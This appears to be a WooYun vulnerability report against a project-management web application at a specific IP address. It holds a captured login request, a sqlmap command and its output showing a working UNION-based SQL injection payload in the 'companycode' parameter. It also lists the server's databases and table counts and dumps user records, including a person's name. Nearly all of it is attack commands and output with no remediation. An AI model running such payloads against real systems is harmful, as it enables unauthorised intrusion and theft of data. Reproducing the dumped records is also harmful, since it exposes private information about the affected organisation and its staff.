WooYun.org

POST /pm/sys/Login_dologin.action HTTP/1.1
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://113.57.156.14:83/pm/
Cookie: JSESSIONID=K2hLV3MQPqgmQKY3wBJdqK1vj77TwwRp1lJmkgm2vR2zrpTpJJSH!-1350732842
Host: 113.57.156.14:83
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
companycode=ZJ31&ikey=1&password=g00dPa%24%24w0rD&username=admin

sqlmap.py -r 1.txt --dbs --level 3 --dbms=mssql

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: companycode (POST)
Type: UNION query
Title: Generic UNION query (19) - 14 columns
Payload: companycode=-3139') UNION ALL SELECT 19,19,19,19,19,19,CONCAT(0x7162786271,0x54465157444679466478,0x716b717a71),19,19,19,19,19,19,19-- &ikey=1&password=g00dPa$$w0rD&username=admin
---
web application technology: Servlet 2.5, JSP 2.1
back-end DBMS: Microsoft SQL Server 2012
available databases [14]:
[*] distribution
[*] javafree5_1
[*] master
[*] model
[*] msdb
[*] oa001
[*] plusoft_test
[*] PM_SH_TEST
[*] PMDBZJ31_2_BAK
[*] PMDBZJ3_2_BAK
[*] ReportServer
[*] ReportServerTempDB
[*] springmvc_demo_pm_sh
[*] tempdb

Database: oa001
+----------------------------------+---------+
| Table | Entries |
+----------------------------------+---------+
| dbo.sy_district | 3238 |
| dbo.sy_role_action | 856 |
| dbo.sy_role_action | 856 |
| dbo.sy_role_menu | 385 |
| dbo.sy_login_log | 292 |
| dbo.sy_login_log | 292 |
| dbo.sy_action | 258 |
| dbo.act_hi_detail | 166 |
| dbo.list_values | 122 |
| dbo.wf_workflow_powers | 91 |
| dbo.act_hi_varinst | 77 |
| dbo.act_ru_variable | 70 |
| dbo.act_hi_actinst | 66 |
| dbo.act_hi_identitylink | 47 |
| dbo.act_hi_taskinst | 44 |
| dbo.act_ge_bytearray | 37 |
| dbo.per_instant_message | 34 |
| dbo.per_msg | 34 |
| dbo.mt_mapping | 33 |
| dbo.tp_correlation | 31 |
| dbo.act_ru_identitylink | 27 |
| dbo.tp_count | 27 |
| dbo.tp_votedetail | 27 |
| dbo.tp_votedetail | 27 |
| dbo.crm_client_share | 22 |
| dbo.wf_form | 21 |
| dbo.xt_attendance_sign | 21 |
| dbo.pe_staff | 18 |
| dbo.project_user | 17 |
| dbo.pe_file | 16 |
| dbo.sy_user_role | 16 |
| dbo.wd_personal_files | 16 |
| dbo.act_re_deployment | 15 |
| dbo.act_re_procdef | 15 |
| dbo.wd_cf_type_users | 15 |
| dbo.act_ru_task | 11 |
| dbo.wd_share_files | 11 |
| dbo.tp_question | 10 |
| dbo.xt_attendance_time_user | 10 |
| dbo.xt_attendance_time_user | 10 |
| dbo.xt_notice_receive | 10 |
| dbo.xt_work_plan_user | 10 |
| dbo.pe_salary | 9 |
| dbo.xt_sellers_locus | 9 |
| dbo.mt_meeting | 8 |
| dbo.per_schedule | 8 |
| dbo.sy_table_custom | 8 |
| dbo.xt_journal_user | 7 |
| dbo.xt_journal_user | 7 |
| dbo.xt_notice_content | 7 |
| dbo.xt_notice_content | 7 |
| dbo.newscomment | 6 |
| dbo.pe_deal | 6 |
| dbo.sy_menu_my | 6 |
| dbo.sy_menu_my | 6 |
| dbo.wd_cf_type_powers | 6 |
| dbo.wd_cf_type_powers | 6 |
| dbo.em_inbox_outbox_user | 5 |
| dbo.sy_dept | 5 |
| dbo.sy_users | 5 |
| dbo.ab_personal_address_book | 4 |
| dbo.bi_goodsreceiving | 4 |
| dbo.crm_client_info | 4 |
| dbo.em_outbox_file | 4 |
| dbo.em_outbox_file | 4 |
| dbo.project_task_user | 4 |
| dbo.vm_drivertable | 4 |
| dbo.wf_work_files | 4 |
| dbo.wf_work_files | 4 |
| dbo.act_ge_property | 3 |
| dbo.bi_basicinformation | 3 |
| dbo.bi_shopping | 3 |
| dbo.crm_client_linkman | 3 |
| dbo.em_files | 3 |
| dbo.newsmanagement | 3 |
| dbo.pe_job | 3 |
| dbo.vm_vehiclemanagement | 3 |
| dbo.wd_company_files | 3 |
| dbo.wf_task_files | 3 |
| dbo.wf_task_files | 3 |
| dbo.wf_workflow_listener | 3 |
| dbo.wf_workflow_listener | 3 |
| dbo.xt_work_plan_comment | 3 |
| dbo.xt_work_plan_comment | 3 |
| dbo.xt_work_plan_task | 3 |
| dbo.ab_group_address_book_public | 2 |
| dbo.ab_group_address_book_public | 2 |
| dbo.crm_sell_activity | 2 |
| dbo.crm_sell_chance | 2 |
| dbo.em_inbox_file | 2 |
| dbo.em_inbox_file | 2 |
| dbo.mt_room | 2 |
| dbo.rg_rulesregulations | 2 |
| dbo.rm_rulesmanager | 2 |
| dbo.vm_accident | 2 |
| dbo.xt_attendance_close | 2 |
| dbo.xt_attendance_close | 2 |
| dbo.xt_notice_files | 2 |
| dbo.ab_public_address_book | 1 |
| dbo.image_space_img | 1 |
| dbo.image_space_img | 1 |
| dbo.project_files | 1 |
| dbo.project_files | 1 |
| dbo.sy_data_permissions | 1 |
| dbo.sy_masinfo | 1 |
| dbo.sy_sms_history | 1 |
| dbo.sy_sms_receive | 1 |
| dbo.xt_affiche_dept | 1 |
| dbo.xt_affiche_dept | 1 |
+----------------------------------+---------+
Database: PM_SH_TEST
Table: t_sys_user
[3 entries]
+----------------------------------+----------------------------------+-----------+
| id | org_id | user_name |
+----------------------------------+----------------------------------+-----------+
| 40288a5d3ff06da8013ff07605250000 | 297edff836e8e8120136ee9c2f972735 | 刘阿涛 |
| 40288b3c3c84de68013c84dfe48f0000 | 40288a862b9a9ee6012b9aa7418e0003 | 系统管理员 |
| admin | 40288a862b9a9ee6012b9aa7418e0003 | 系统管理员 |
+----------------------------------+----------------------------------+-----------+